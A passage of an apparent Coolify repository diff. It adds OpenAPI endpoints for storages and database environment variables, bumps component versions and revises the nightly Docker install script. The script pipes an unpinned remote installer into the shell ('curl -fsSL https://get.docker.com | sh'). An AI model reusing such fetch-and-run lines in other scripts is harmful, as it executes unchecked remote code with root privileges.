+ "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Services" + ], + "summary": "Create Storage", + "description": "Create a persistent storage or file storage for a service sub-resource.", + "operationId": "create-storage-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type", + "mount_path", + "resource_uuid" + ], + "properties": { + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage." + }, + "resource_uuid": { + "type": "string", + "description": "UUID of the service application or database sub-resource." + }, + "name": { + "type": "string", + "description": "Volume name (persistent only, required for persistent)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, optional)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "File content (file only, optional)." + }, + "is_directory": { + "type": "boolean", + "description": "Whether this is a directory mount (file only, default false)." + }, + "fs_path": { + "type": "string", + "description": "Host directory path (required when is_directory is true)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "201": { + "description": "Storage created.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Services" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by service UUID.", + "operationId": "update-storage-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type" + ], + "properties": { + "uuid": { + "type": "string", + "description": "The UUID of the storage (preferred)." + }, + "id": { + "type": "integer", + "description": "The ID of the storage (deprecated, use uuid instead)." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/storages\/{storage_uuid}": { + "delete": { + "tags": [ + "Services" + ], + "summary": "Delete Storage", + "description": "Delete a persistent storage or file storage by service UUID.", + "operationId": "delete-storage-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "storage_uuid", + "in": "path", + "description": "UUID of the storage.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Storage deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/teams": { "get": { "tags": [ @@ -11024,6 +12428,19 @@ "type": "integer", "description": "Health check start period in seconds." }, + "health_check_type": { + "type": "string", + "description": "Health check type: http or cmd.", + "enum": [ + "http", + "cmd" + ] + }, + "health_check_command": { + "type": "string", + "nullable": true, + "description": "Health check command for CMD type." + }, "limits_memory": { "type": "string", "description": "Memory limit." @@ -11391,6 +12808,10 @@ "real_value": { "type": "string" }, + "comment": { + "type": "string", + "nullable": true + }, "version": { "type": "string" }, diff --git a/openapi.yaml b/openapi.yaml index 6fb548f9f..93038ce80 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2111,6 +2111,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop application.' @@ -2163,6 +2170,219 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/storages': + get: + tags: + - Applications + summary: 'List Storages' + description: 'List all persistent storages and file storages by application UUID.' + operationId: list-storages-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by application UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Applications + summary: 'Create Storage' + description: 'Create a persistent storage or file storage for an application.' + operationId: create-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + required: true + content: + application/json: + schema: + required: + - type + - mount_path + properties: + type: + type: string + enum: [persistent, file] + description: 'The type of storage.' + name: + type: string + description: 'Volume name (persistent only, required for persistent).' + mount_path: + type: string + description: 'The container mount path.' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, optional).' + content: + type: string + nullable: true + description: 'File content (file only, optional).' + is_directory: + type: boolean + description: 'Whether this is a directory mount (file only, default false).' + fs_path: + type: string + description: 'Host directory path (required when is_directory is true).' + type: object + additionalProperties: false + responses: + '201': + description: 'Storage created.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Applications + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by application UUID.' + operationId: update-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' + required: true + content: + application/json: + schema: + required: + - type + properties: + uuid: + type: string + description: 'The UUID of the storage (preferred).' + id: + type: integer + description: 'The ID of the storage (deprecated, use uuid instead).' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' + type: object + additionalProperties: false + responses: + '200': + description: 'Storage updated.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/storages/{storage_uuid}': + delete: + tags: + - Applications + summary: 'Delete Storage' + description: 'Delete a persistent storage or file storage by application UUID.' + operationId: delete-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: storage_uuid + in: path + description: 'UUID of the storage.' + required: true + schema: + type: string + responses: + '200': + description: 'Storage deleted.' + content: + application/json: + schema: + properties: + message: { type: string } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: @@ -3806,6 +4026,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop database.' @@ -3857,6 +4084,455 @@ paths: security: - bearerAuth: [] + '/databases/{uuid}/envs': + get: + tags: + - Databases + summary: 'List Envs' + description: 'List all envs by database UUID.' + operationId: list-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variables.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Databases + summary: 'Create Env' + description: 'Create env by database UUID.' + operationId: create-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env created.' + required: true + content: + application/json: + schema: + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable created.' + content: + application/json: + schema: + properties: + uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Databases + summary: 'Update Env' + description: 'Update env by database UUID.' + operationId: update-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env updated.' + required: true + content: + application/json: + schema: + required: + - key + - value + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/bulk': + patch: + tags: + - Databases + summary: 'Update Envs (Bulk)' + description: 'Update multiple envs by database UUID.' + operationId: update-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Bulk envs updated.' + required: true + content: + application/json: + schema: + required: + - data + properties: + data: + type: array + items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object } + type: object + responses: + '201': + description: 'Environment variables updated.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/{env_uuid}': + delete: + tags: + - Databases + summary: 'Delete Env' + description: 'Delete env by UUID.' + operationId: delete-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + - + name: env_uuid + in: path + description: 'UUID of the environment variable.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variable deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Environment variable deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + '/databases/{uuid}/storages': + get: + tags: + - Databases + summary: 'List Storages' + description: 'List all persistent storages and file storages by database UUID.' + operationId: list-storages-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by database UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Databases + summary: 'Create Storage' + description: 'Create a persistent storage or file storage for a database.' + operationId: create-storage-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + required: true + content: + application/json: + schema: + required: + - type + - mount_path + properties: + type: + type: string + enum: [persistent, file] + description: 'The type of storage.' + name: + type: string + description: 'Volume name (persistent only, required for persistent).' + mount_path: + type: string + description: 'The container mount path.' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, optional).' + content: + type: string + nullable: true + description: 'File content (file only, optional).' + is_directory: + type: boolean + description: 'Whether this is a directory mount (file only, default false).' + fs_path: + type: string + description: 'Host directory path (required when is_directory is true).' + type: object + additionalProperties: false + responses: + '201': + description: 'Storage created.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Databases + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by database UUID.' + operationId: update-storage-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' + required: true + content: + application/json: + schema: + required: + - type + properties: + uuid: + type: string + description: 'The UUID of the storage (preferred).' + id: + type: integer + description: 'The ID of the storage (deprecated, use uuid instead).' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' + type: object + additionalProperties: false + responses: + '200': + description: 'Storage updated.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/storages/{storage_uuid}': + delete: + tags: + - Databases + summary: 'Delete Storage' + description: 'Delete a persistent storage or file storage by database UUID.' + operationId: delete-storage-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + - + name: storage_uuid + in: path + description: 'UUID of the storage.' + required: true + schema: + type: string + responses: + '200': + description: 'Storage deleted.' + content: + application/json: + schema: + properties: + message: { type: string } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /deployments: get: tags: @@ -6138,6 +6814,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '201': @@ -6323,6 +7003,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '200': @@ -6645,6 +7329,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop service.' @@ -6703,6 +7394,223 @@ paths: security: - bearerAuth: [] + '/services/{uuid}/storages': + get: + tags: + - Services + summary: 'List Storages' + description: 'List all persistent storages and file storages by service UUID.' + operationId: list-storages-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by service UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Services + summary: 'Create Storage' + description: 'Create a persistent storage or file storage for a service sub-resource.' + operationId: create-storage-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + required: true + content: + application/json: + schema: + required: + - type + - mount_path + - resource_uuid + properties: + type: + type: string + enum: [persistent, file] + description: 'The type of storage.' + resource_uuid: + type: string + description: 'UUID of the service application or database sub-resource.' + name: + type: string + description: 'Volume name (persistent only, required for persistent).' + mount_path: + type: string + description: 'The container mount path.' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, optional).' + content: + type: string + nullable: true + description: 'File content (file only, optional).' + is_directory: + type: boolean + description: 'Whether this is a directory mount (file only, default false).' + fs_path: + type: string + description: 'Host directory path (required when is_directory is true).' + type: object + additionalProperties: false + responses: + '201': + description: 'Storage created.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Services + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by service UUID.' + operationId: update-storage-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' + required: true + content: + application/json: + schema: + required: + - type + properties: + uuid: + type: string + description: 'The UUID of the storage (preferred).' + id: + type: integer + description: 'The ID of the storage (deprecated, use uuid instead).' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' + type: object + additionalProperties: false + responses: + '200': + description: 'Storage updated.' + content: + application/json: + schema: + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/storages/{storage_uuid}': + delete: + tags: + - Services + summary: 'Delete Storage' + description: 'Delete a persistent storage or file storage by service UUID.' + operationId: delete-storage-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: storage_uuid + in: path + description: 'UUID of the storage.' + required: true + schema: + type: string + responses: + '200': + description: 'Storage deleted.' + content: + application/json: + schema: + properties: + message: { type: string } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /teams: get: tags: @@ -6960,6 +7868,16 @@ components: health_check_start_period: type: integer description: 'Health check start period in seconds.' + health_check_type: + type: string + description: 'Health check type: http or cmd.' + enum: + - http + - cmd + health_check_command: + type: string + nullable: true + description: 'Health check command for CMD type.' limits_memory: type: string description: 'Memory limit.' @@ -7231,6 +8149,9 @@ components: type: string real_value: type: string + comment: + type: string + nullable: true version: type: string created_at: diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 46e0e88e5..0bd4ae2dd 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index 6306ab381..ca233356a 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -79,7 +79,7 @@ services: retries: 10 timeout: 2s redis: - image: redis:alpine + image: redis:7-alpine pull_policy: always container_name: coolify-redis restart: always @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/other/nightly/docker-compose.yml b/other/nightly/docker-compose.yml index 68d0f0744..0fd3dda07 100644 --- a/other/nightly/docker-compose.yml +++ b/other/nightly/docker-compose.yml @@ -4,7 +4,7 @@ services: restart: always working_dir: /var/www/html extra_hosts: - - 'host.docker.internal:host-gateway' + - host.docker.internal:host-gateway networks: - coolify depends_on: @@ -18,7 +18,7 @@ services: networks: - coolify redis: - image: redis:alpine + image: redis:7-alpine container_name: coolify-redis restart: always networks: @@ -26,7 +26,7 @@ services: soketi: container_name: coolify-realtime extra_hosts: - - 'host.docker.internal:host-gateway' + - host.docker.internal:host-gateway restart: always networks: - coolify diff --git a/other/nightly/install.sh b/other/nightly/install.sh index 921ba6a92..09406118c 100755 --- a/other/nightly/install.sh +++ b/other/nightly/install.sh @@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S") OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"') ENV_FILE="/data/coolify/source/.env" -DOCKER_VERSION="27.0" +DOCKER_VERSION="latest" # TODO: Ask for a user CURRENT_USER=$USER @@ -499,13 +499,10 @@ fi install_docker() { set +e - curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true + curl -fsSL https://get.docker.com | sh 2>&1 || true if ! [ -x "$(command -v docker)" ]; then - curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1 - if ! [ -x "$(command -v docker)" ]; then - echo "Automated Docker installation failed. Trying manual installation." - install_docker_manually - fi + echo "Automated Docker installation failed. Trying manual installation." + install_docker_manually fi set -e } @@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then echo " - Docker is not installed. Installing Docker. It may take a while." getAJoke case "$OS_TYPE" in - "almalinux") - dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1 - dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1 - if ! [ -x "$(command -v docker)" ]; then - echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." - exit 1 - fi - systemctl start docker >/dev/null 2>&1 - systemctl enable docker >/dev/null 2>&1 - ;; "alpine" | "postmarketos") apk add docker docker-cli-compose >/dev/null 2>&1 rc-update add docker default >/dev/null 2>&1 @@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then fi ;; "arch") - pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1 + pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1 systemctl enable docker.service >/dev/null 2>&1 + systemctl start docker.service >/dev/null 2>&1 if ! [ -x "$(command -v docker)" ]; then echo " - Failed to install Docker with pacman. Try to install it manually." echo " Please visit https://wiki.archlinux.org/title/docker for more information." @@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then dnf install docker -y >/dev/null 2>&1 DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker} mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1 - curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 + curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 systemctl start docker >/dev/null 2>&1 systemctl enable docker >/dev/null 2>&1 @@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then exit 1 fi ;; - "centos" | "fedora" | "rhel" | "tencentos") - if [ -x "$(command -v dnf5)" ]; then - # dnf5 is available - dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1 - else - # dnf5 is not available, use dnf - dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1 - fi + "almalinux" | "tencentos") + dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1 dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1 + systemctl start docker >/dev/null 2>&1 + systemctl enable docker >/dev/null 2>&1 if ! [ -x "$(command -v docker)" ]; then echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." exit 1 fi - systemctl start docker >/dev/null 2>&1 - systemctl enable docker >/dev/null 2>&1 ;; - "ubuntu" | "debian" | "raspbian") + "ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles") install_docker if ! [ -x "$(command -v docker)" ]; then - echo " - Automated Docker installation failed. Trying manual installation." - install_docker_manually + echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." + exit 1 fi ;; *) install_docker if ! [ -x "$(command -v docker)" ]; then - echo " - Automated Docker installation failed. Trying manual installation." - install_docker_manually + echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." + exit 1 fi ;; esac @@ -627,6 +609,19 @@ else echo " - Docker is installed." fi +# Verify minimum Docker version +MIN_DOCKER_VERSION=24 +INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1) +if [ -z "$INSTALLED_DOCKER_VERSION" ]; then + echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed." +elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then + echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer." + echo " Please upgrade Docker: https://docs.docker.com/engine/install/" + exit 1 +else + echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)." +fi + log_section "Step 4/9: Checking Docker configuration" echo "4/9 Checking Docker configuration..." diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 1ce790111..af11ef4d3 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,29 +1,29 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.471" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.21" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } -} \ No newline at end of file +} diff --git a/package-lock.json b/package-lock.json index d9a7aa7fc..3c9753bb8 100644 --- a/package-lock.json +++ b/package-lock.json @@ -596,9 +596,9 @@ "license": 